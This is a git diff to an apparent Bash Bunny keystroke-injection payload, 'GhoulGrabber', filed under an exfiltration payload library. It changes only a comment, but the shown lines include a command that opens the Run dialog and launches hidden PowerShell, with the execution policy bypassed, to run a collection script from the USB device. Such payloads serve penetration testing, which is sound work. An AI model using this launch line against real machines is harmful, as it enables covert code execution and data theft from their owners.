diff --git a/payloads/library/exfiltration/GhoulGrabber/payload.txt b/payloads/library/exfiltration/GhoulGrabber/payload.txt index 2c0c1dab..eec0d34f 100644 --- a/payloads/library/exfiltration/GhoulGrabber/payload.txt +++ b/payloads/library/exfiltration/GhoulGrabber/payload.txt @@ -9,6 +9,6 @@ LED ATTACK # Open Run dialog QUACK GUI r sleep 0.3 -# Launch PowerShell hidden and run the script +# Below is the line you will need to change if you have altered your Device Name or if it is something other than BashBunny RUN WIN Powershell -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\collect.ps1')" LED FINISH